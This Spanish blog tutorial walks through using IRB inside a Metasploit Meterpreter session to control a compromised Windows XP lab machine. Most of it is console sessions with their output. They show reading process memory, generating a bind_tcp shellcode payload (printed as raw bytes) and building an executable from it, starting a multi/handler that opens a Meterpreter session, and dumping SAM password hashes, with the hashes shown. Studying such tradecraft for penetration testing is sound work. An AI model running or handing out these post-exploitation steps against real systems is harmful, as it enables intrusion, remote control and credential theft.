Tal como se ha visto en la entrada anterior, el uso de IRB es bastante parecido a Python en modo interactivo, donde se permite entre otras cosas, la inclusión de código linea por linea y la ejecución de scripts Ruby, todas estas características pueden ser utilizadas en MetaSploit justo en el paso de post-explotación, Meterpreter permite utilizar IRB para manipular procesos, memoria, claves del registro, etc. sobre la maquina comprometida
meterpreter > irb [*] Starting IRB shell [*] The ‘client’ variable holds the meterpreter client >> |
Lo mas interesante de todo esto, no radica en escribir codigo desde cero y reinventar la rueda, lo mas interesante es sin lugar a dudas, reutilizar código y funciones existentes en la API de MetaSploit, permitiendo realizar operaciones sobre la máquina remota muy especificas, algunas de las operaciones que pueden llevarse a cabo están relacionadas con la variable “client” que representa el interprete meterpreter, por ejemplo, sobre una maquina comprometida se pueden ejecutar algunas funciones de meterpreter desde IRB
>> client.sys.config.sysinfo => {«System Language»=>»en_US», «OS»=>»Windows XP (Build 2600, Service Pack 2).», «Computer»=>»JDAANIAL-6825E7», «Architecture»=>»x86»}>> client.sys.config.sysinfo[‘OS’] => «Windows XP (Build 2600, Service Pack 2).» >> client.sys.config.sysinfo[‘System Language’] => «en_US» >> client.sys.config.sysinfo[‘Architecture’] => «x86» >> client.sys.config.getuid => «JDAANIAL-6825E7\\jdaanial» >> client.sys.process.getpid => 1588 |
Además de las opciones contenidas en el objeto “client.sys” que proveen de información sobre el sistema comprometido, también permite acceder a información sobre procesos así como manipulación de memoria.
>> p = client.sys.process.execute(‘calc.exe’) => #<#<Class:0x7fb737a74bd0>:0x7fb7368983a8 @aliases={«thread»=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Thread:0x7fb736896800 @process=#<#<Class:0x7fb737a74bd0>:0x7fb7368983a8 …>>, «memory»=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Memory:0x7fb736896850 @process=#<#<Class:0x7fb737a74bd0>:0x7fb7368983a8 …>>, «io»=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::IO:0x7fb7368968a0 @process=#<#<Class:0x7fb737a74bd0>:0x7fb7368983a8 …>>, «image»=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Image:0x7fb736896940 @process=#<#<Class:0x7fb737a74bd0>:0x7fb7368983a8 …>>}, @handle=476, @client=#<Session:meterpreter 192.168.1.101:9999 «JDAANIAL-6825E7\jdaanial @ JDAANIAL-6825E7»>, @pid=680, @channel=nil>
>> «%.8x» % p.image[‘ws2help.dll’] => «00000000» >> p.image.load(‘ws2help.dll’) => 1906966528 >> «%.8x» % p.image[‘ws2help.dll’] => «71aa0000» >> «%.8x» % p.image.get_procedure_address(‘ws2help.dll’, ‘WahOpenHandleHelper’) => «71aa387b» |
En las lineas anteriores, en primer lugar se inicia el proceso correspondiente a la ejecución del programa “calc.exe” el cual es almacenado en una variable temporal. Este objeto tiene una serie de atributos que permiten realizar varias tareas, en este caso particular, se verifica si la librería “ws2help.dll” se encuentra cargada en el contexto del proceso, como puede apreciarse la dirección de memoria retornada indica que no se encuentra, por lo tanto se procede a realizar su carga con el método “load” indicando el nombre de la librería, esta invocación retorna una dirección de memoria valida en donde se ha cargado la librería, posteriormente se obtiene la dirección de memoria en un formato valido, finalmente se pueden obtener las direcciones de memoria de cada uno de los procedimientos definidos en dicha librería.
Con esta información es posible leer dichas direcciones de memoria en cualquier momento
>>p.image.get_procedure_address(‘ws2help.dll’, ‘WahOpenHandleHelper’) => 1906980987 >> info = p.memory.query(1906980987) => {«Available»=>false, «ImageMapping»=>true, «RegionSize»=>8192, «AllocationProtect»=>1048583, «BaseAddress»=>1906978816, «Protect»=>5, «AllocationBase»=>1906966528} >> buf = p.memory.read(info[‘BaseAddress’], info[‘RegionSize’]) |
Adicional a lo anterior, también es posible realizar otro tipo de tareas relacionadas con los payloads incluidos en MetaSploit Framework, de esta forma se pueden crear nuevos payloads desde IRB utilizando la API de MetaSploit directamente
>> payload = client.framework.payloads.create(«windows/meterpreter/bind_tcp») => #<Module:payload/windows/meterpreter/bind_tcp datastore=[{«AutoRunScript»=>»», «EnableUnicodeEncoding»=>»true», «EXITFUNC»=>»process», «AutoSystemInfo»=>»true», «AutoLoadStdapi»=>»true», «InitialAutoRunScript»=>»», «LPORT»=>»4444», «VERBOSE»=>»false», «RHOST»=>»»}]>>> payload.datastore[‘RHOST’] = «192.168.1.101»
=> «192.168.1.101» >> payload.datastore[‘LPORT’] = «9999» => «9999» >> raw = payload.generate => «\374\350\211000000`\211\3451\322d\213R0\213R\f\213R24\213r(17\267J&1\3771\300\254<a|02, \301\317\r01\307\342\360RW\213R20\213B<01\320\213@x\205\300tJ01\320P\213H30\213X 01\323\343<I\2134\21301\3261\3771\300\254\301\317\r01\3078\340u\36403}\370;}$u\342X\213X$01\323f\213\fK\213X3401\323\21304\21301\320\211D$$[[aYZQ\377\340X_Z\21322\353\206]h320000hws2_ThLw&\a\377\325\270\220010000)\304TPh)\200k00\377\325PPPP@P@Ph\35217\337\340\377\325\2271\333Sh0200’17\211\346j20VWh\302\3337g\377\325SWh\267\3518\377\377\325SSWht\354;\341\377\325W\227hunMa\377\325j00j04VWh02\331\310_\377\325\2136j@h00200000Vj00hX\244S\345\377\325\223Sj00VSWh02\331\310_\377\32501\303)\306\205\366u\354\303» >> exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) => ……………………… >> print_status(«Ejecutable creado: #{exe.length} bytes») [*] Ejecutable creado: 73802 bytes => nil |
Por otro lado, también es posible ejecutar cualquier tipo de exploit desde IRB de una forma similar a como se realiza habitualmente en la consola de MetaSploit solamente que utilizando las clases y métodos disponibles en el framework para tal fin.
>> mul = client.framework.exploits.create(«multi/handler») => #<Module:exploit/multi/handler datastore=[{«WfsDelay»=>»0», «ListenerTimeout»=>»0», «EnableContextEncoding»=>»false», «ExitOnSession»=>»true», «DisablePayloadHandler»=>»false», «VERBOSE»=>»false»}]> >> mul.datastore[‘PAYLOAD’] = «windows/meterpreter/bind_tcp» => «windows/meterpreter/bind_tcp» >> mul.datastore[‘LPORT’] = «9999» => «9999» >> mul.datastore[‘EXITFUNC’] = ‘process’ => «process» >> mul.datastore[‘ExitOnSession’] = true => true >> mul.datastore[‘DisableCourtesyShell’] = true => true >> mul.datastore[‘RHOST’] = «192.168.1.101» => «192.168.1.101» >> mul.exploit_simple(‘Payload’=>mul.datastore[‘PAYLOAD’], ‘RunAsJob’=>true) => nil >> [*] Meterpreter session 5 opened (192.168.1.33:48050 -> 192.168.1.101:9999) at Sun Aug 21 21:40:01 +0200 2011 |
Como puede apreciarse se ha conseguido crear y ejecutar el exploit (en este caso multi/handler) y posteriormente se ha conseguido una sesión meterpreter del mismo modo que si se hubiese ejecutado desde msfconsole o msfcli.
Tambien se pueden realizar algunas operaciones relacionadas con Sockets y disposivos de red desde IRB.
>> interfaces = client.net.config.interfaces => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x7fb735f84320 @netmask=»255.0.0.0″, @ip=»127.0.0.1″, @mac_name=»MS TCP Loopback interface00″, @mac_addr=»»>, #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x7fb735f842f8 @netmask=»255.255.255.0″, @ip=»192.168.1.101″, @mac_name=»AMD PCNET Family PCI Ethernet Adapter – Packet Scheduler Miniport00″, @mac_addr=»\b00′.^6″>]>> interfaces.each do |i| ?> puts i.pretty >> end MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 AMD PCNET Family PCI Ethernet Adapter – Packet Scheduler Miniport Hardware MAC: 08:00:27:2e:5e:36 IP Address : 192.168.1.101 Netmask : 255.255.255.0 => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x7fb735f84320 @netmask=»255.0.0.0″, @ip=»127.0.0.1″, @mac_name=»MS TCP Loopback interface00″, @mac_addr=»»>, #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x7fb735f842f8 @netmask=»255.255.255.0″, @ip=»192.168.1.101″, @mac_name=»AMD PCNET Family PCI Ethernet Adapter – Packet Scheduler Miniport00″, @mac_addr=»\b00′.^6″>] >> params = Rex::Socket::Parameters.new(‘PeerHost’ => ‘209.85.148.104’, ‘PeerPort’=> 80) => #<Rex::Socket::Parameters:0x7fb73652f810 @context={}, @retries=0, @proto=»tcp», @localhost=»0.0.0.0″, @timeout=5, @comm=Rex::Socket::Comm::Local, @peerport=80, @ssl=false, @server=false, @v6=false, @peerhost=»209.85.148.104″, @bare=false, @localport=0> >> conn = client.net.socket.create_tcp_client_channel(params) => #<TCPSocket:0x7fb7362d7db0> >> conn.write(«GET / HTTP/1.0\r\n\r\n») => 18 |
De modo programático utilizando IRB es posible obtener información relacionada con usuarios, procesos y propiedades del sistema comprometido
>> client.priv.sam_hashes => [#<Rex::Post::Meterpreter::Extensions::Priv::SamUser:0x7fb7364d8a88 @hash_string=»Administrator:500:cf6a21dcd4401f45f500944b53168930:5f631567587db2a3d87618c0660be3a3:::», @lanman=»cf6a21dcd4401f45f500944b53168930″, @user_id=»500″, @user_name=»Administrator», @ntlm=»5f631567587db2a3d87618c0660be3a3″>, #<Rex::Post::Meterpreter::Extensions::Priv::SamUser:0x7fb7364d8a60 @hash_string=»Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::», @lanman=»aad3b435b51404eeaad3b435b51404ee», @user_id=»501″, @user_name=»Guest», @ntlm=»31d6cfe0d16ae931b73c59d7e0c089c0″>, #<Rex::Post::Meterpreter::Extensions::Priv::SamUser:0x7fb7364d88a8 @hash_string=»HelpAssistant:1000:d57f80def6a087329da5d9596abbd6d1:2075fab83d06d2953cb1811f0564b559:::», @lanman=»d57f80def6a087329da5d9596abbd6d1″, @user_id=»1000″, @user_name=»HelpAssistant», @ntlm=»2075fab83d06d2953cb1811f0564b559″>, #<Rex::Post::Meterpreter::Extensions::Priv::SamUser:0x7fb7364d86f0 @hash_string=»jdaanial:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::», @lanman=»aad3b435b51404eeaad3b435b51404ee», @user_id=»1003″, @user_name=»jdaanial», @ntlm=»31d6cfe0d16ae931b73c59d7e0c089c0″>, #<Rex::Post::Meterpreter::Extensions::Priv::SamUser:0x7fb7364d8538 @hash_string=»SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:6eff6ae83bb4f1394442f41e4e4993fb:::», @lanman=»aad3b435b51404eeaad3b435b51404ee», @user_id=»1002″, @user_name=»SUPPORT_388945a0″, @ntlm=»6eff6ae83bb4f1394442f41e4e4993fb»>]>> client.priv.sam_hashes[1].ntlm => «31d6cfe0d16ae931b73c59d7e0c089c0» >> client.priv.sam_hashes[1].user_name => «Guest» >> client.priv.sam_hashes.class => Array >> client.priv.sam_hashes.each do |user| ?> puts «User #{user.user_name} Hash #{user.ntlm}» >> end User Administrator Hash 5f631567587db2a3d87618c0660be3a3 User Guest Hash 31d6cfe0d16ae931b73c59d7e0c089c0 User HelpAssistant Hash 2075fab83d06d2953cb1811f0564b559 User jdaanial Hash 31d6cfe0d16ae931b73c59d7e0c089c0 User SUPPORT_388945a0 Hash 6eff6ae83bb4f1394442f41e4e4993fb >> client.ui.idle_time => 6035 >> client.fs.dir.entries => [«.», «..», «putty.exe», «puttyEvil.exe», «PuttyHijackV1.0», «PuttyHijackV1.0.rar», «SSHKEY.reg»] >> client.sys.process.processes.class => Array >> client.sys.process.processes[0] => {«name»=>»[System Process]», «pid»=>0, «session»=>4294967295, «arch»=>»», «path»=>»», «parentid»=>0, «user»=>»»} |
La cantidad de operaciones que se pueden realizar desde IRB están directamente relacionadas con las funcionalidades que existen en la API de MetaSploit, con lo que frecuentemente es un punto de inicio para familiarizarse con el framework en profundidad conociendo las clases, métodos disponibles y las relaciones existentes entre cada uno de ellos, este será el punto de partida en muchos casos, para programadores que escribirán sus propios exploits en MetaSploit Framework.